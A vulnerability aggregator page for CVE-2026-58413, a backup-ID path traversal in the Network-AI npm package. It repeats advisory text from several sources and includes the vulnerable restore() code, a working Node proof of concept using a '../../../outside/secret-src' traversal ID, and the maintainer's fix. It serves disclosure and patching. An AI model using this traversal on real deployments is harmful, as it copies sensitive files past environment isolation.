CVE-2026-58413
EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups. A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.1
EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups. A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
- Record
CVE-2026-58413- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
EUVDEUVD-2026-46005
6.1
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups. A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
- Record
EUVD-2026-46005- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-48x2-6pr9-2jjf
6.1
Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
Summary
EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.
A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.
Details
restore() builds backupPath directly from caller-controlled backupId:
restore(env: EnvName, backupId: string): RestoreResult {
const envDir = this.getDataDir(env);
const backupsDir = join(envDir, '.backups');
const backupPath = join(backupsDir, backupId);
if (!existsSync(backupPath)) {
throw new Error(`Backup '${backupId}' not found for environment '${env}'`);
}
this.backup(env);
const files = this._collectBackupFiles(backupPath);
let restored = 0;
for (const rel of files) {
if (rel === '_manifest.json') continue;
const src = join(backupPath, rel);
const dst = join(envDir, rel);
try {
mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
copyFileSync(src, dst);
restored++;
} catch { /* skip */ }
}
return { backupId, env, filesRestored: restored };
}
There is no resolved containment check that ensures backupPath remains under backupsDir.
Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.
Affected source evidence:
lib/env-manager.ts:474-499— vulnerable restore path construction and copy.bin/cli.ts:441-458— default CLI exposes restore with caller-controlled--backup.
PoC
This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const source = path.join(base, 'outside', 'secret-src');
fs.mkdirSync(source, { recursive: true });
fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
const backupId = path.relative(path.join(data, 'dev', '.backups'), source);
const result = mgr.restore('dev', backupId);
const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');
console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.
Impact
A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
- Record
GHSA-48x2-6pr9-2jjf- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
NVD
6.1
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups. A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
- Record
CVE-2026-58413- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
OSV
6.1
EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups. A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
- Record
CVE-2026-58413- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
OSVGHSA-48x2-6pr9-2jjf
6.1
Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data
Summary
EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.
A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.
Details
restore() builds backupPath directly from caller-controlled backupId:
restore(env: EnvName, backupId: string): RestoreResult {
const envDir = this.getDataDir(env);
const backupsDir = join(envDir, '.backups');
const backupPath = join(backupsDir, backupId);
if (!existsSync(backupPath)) {
throw new Error(`Backup '${backupId}' not found for environment '${env}'`);
}
this.backup(env);
const files = this._collectBackupFiles(backupPath);
let restored = 0;
for (const rel of files) {
if (rel === '_manifest.json') continue;
const src = join(backupPath, rel);
const dst = join(envDir, rel);
try {
mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
copyFileSync(src, dst);
restored++;
} catch { /* skip */ }
}
return { backupId, env, filesRestored: restored };
}
There is no resolved containment check that ensures backupPath remains under backupsDir.
Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.
Affected source evidence:
lib/env-manager.ts:474-499— vulnerable restore path construction and copy.bin/cli.ts:441-458— default CLI exposes restore with caller-controlled--backup.
PoC
This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:
TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const source = path.join(base, 'outside', 'secret-src');
fs.mkdirSync(source, { recursive: true });
fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');
const mgr = new EnvironmentManager(data, {
chain: ['dev', 'st'],
gates: { dev: 'auto', st: 'auto' },
});
mgr.init('dev');
const backupId = path.relative(path.join(data, 'dev', '.backups'), source);
const result = mgr.restore('dev', backupId);
const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');
console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS
Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.
Impact
A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.
Resolution (maintainer)
Fixed in v5.12.2 (commit a59c13a). Install: npm install [email protected] — published to npm with provenance.
restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.
All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.
- Record
GHSA-48x2-6pr9-2jjf- CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
network-ainpm |
through 5.12.1 | 5.12.2 |
network-ainpm |
before 5.12.2 | 5.12.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-58413 is a medium vulnerability (CVSS 6.1) in Jovancoding Network-ai, published June 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in network-ai 5.12.2.
References
github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf
github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3
github.com/Jovancoding/Network-AI/releases/tag/v5.12.2
github.com/advisories/GHSA-48x2-6pr9-2jjf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58413.json
nvd.nist.gov/vuln/detail/CVE-2026-58413
github.com/Jovancoding/Network-AI